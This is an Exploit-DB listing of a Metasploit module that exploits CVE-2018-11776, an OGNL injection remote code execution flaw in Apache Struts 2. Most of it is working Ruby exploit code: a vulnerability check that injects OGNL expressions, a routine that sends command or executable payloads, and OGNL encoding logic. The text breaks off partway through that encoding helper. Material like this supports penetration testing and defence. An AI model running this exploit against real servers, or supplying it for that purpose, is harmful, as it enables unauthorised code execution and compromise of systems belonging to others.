Exploit-DB #45367
Description: Apache Struts 2 - Namespace Redirect OGNL Injection (Metasploit)
Type: remote
Platform: multiple
Date: 2018-09-10
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  # Eschewing CmdStager for now, since the use of '\' and ';' are killing me
  #include Msf::Exploit::CmdStager   # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts 2 Namespace Redirect OGNL Injection',
      'Description'    => %q{
        This module exploits a remote code execution vulnerability in Apache Struts
        version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed
        via an endpoint that makes use of a redirect action.

        Native payloads will be converted to executables and dropped in the
        server's temp dir. If this fails, try a cmd/* payload, which won't
        have to write to the disk.
      },
      #TODO: Is that second paragraph above still accurate?
      'Author'         => [
        'Man Yue Mo', # Discovery
        'hook-s3c',   # PoC
        'asoto-r7',   # Metasploit module
        'wvu'         # Metasploit module
      ],
      'References'     => [
        ['CVE', '2018-11776'],
        ['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'],
        ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'],
        ['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'],
      ],
      'Privileged'     => false,
      'Targets'        => [
        [
          'Automatic detection', {
            'Platform'   => %w{ unix windows linux },
            'Arch'       => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
          },
        ],
        [
          'Windows', {
            'Platform'   => %w{ windows },
            'Arch'       => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
          },
        ],
        [
          'Linux', {
            'Platform'       => %w{ unix linux },
            'Arch'           => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
            'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}
          },
        ],
      ],
      'DisclosureDate' => 'Aug 22 2018', # Private disclosure = Apr 10 2018
      'DefaultTarget'  => 0))

      register_options(
        [
          Opt::RPORT(8080),
          OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
          OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),
          OptString.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),
        ]
      )
      register_advanced_options(
        [
          OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]),
          OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', "X-#{rand_text_alpha(4)}"] ),
          OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', "#{rand_text_alpha(8)}"] ),
        ]
      )
  end

  def check
    # METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable
    ognl = "#_memberAccess['allowStaticMethodAccess']"

    resp = send_struts_request(ognl)

    # If vulnerable, the server should return an HTTP 302 (Redirect)
    #   and the 'Location' header should contain either 'true' or 'false'
    if resp && resp.headers['Location']
      output = resp.headers['Location']
      vprint_status("Redirected to:  #{output}")
      if (output.include? '/true/')
        print_status("Target does *not* require enabling 'allowStaticMethodAccess'.  Setting ENABLE_STATIC to 'false'")
        datastore['ENABLE_STATIC'] = false
        CheckCode::Vulnerable
      elsif (output.include? '/false/')
        print_status("Target requires enabling 'allowStaticMethodAccess'.  Setting ENABLE_STATIC to 'true'")
        datastore['ENABLE_STATIC'] = true
        CheckCode::Vulnerable
      else
        CheckCode::Safe
      end
    elsif resp && resp.code==400
      # METHOD 2: Generate two random numbers, ask the target to add them together.
      #   If it does, it's vulnerable.
      a = rand(10000)
      b = rand(10000)
      c = a+b

      ognl = "#{a}+#{b}"

      resp = send_struts_request(ognl)

      if resp.headers['Location'].include? c.to_s
        vprint_status("Redirected to:  #{resp.headers['Location']}")
        print_status("Target does *not* require enabling 'allowStaticMethodAccess'.  Setting ENABLE_STATIC to 'false'")
        datastore['ENABLE_STATIC'] = false
        CheckCode::Vulnerable
      else
        CheckCode::Safe
      end
    end
  end

  def exploit
    case payload.arch.first
    when ARCH_CMD
      resp = execute_command(payload.encoded)
    else
      resp = send_payload()
    end
  end

  def encode_ognl(ognl)
    # Check and fail if the command contains the follow bad characters:
    #   ';' seems to terminates the OGNL statement
    #   '/' causes the target to return an HTTP/400 error
    #   '\' causes the target to return an HTTP/400 error (sometimes?)
    #   '\r' ends the GET request prematurely
    #   '\n' ends the GET request prematurely

    # TODO: Make sure the following line is uncommented
    bad_chars = %w[; \\ \r \n]    # and maybe '/'
    bad_chars.each do |c|
      if ognl.include? c
        print_error("Bad OGNL request: #{ognl}")
        fail_with(Failure::BadConfig, "OGNL request cannot contain a '#{c}'")
      end
    end

    # The following list of characters *must* be encoded or ORNL will asplode
    encodable_chars = { "%": "%25",       # Always do this one first.  :-)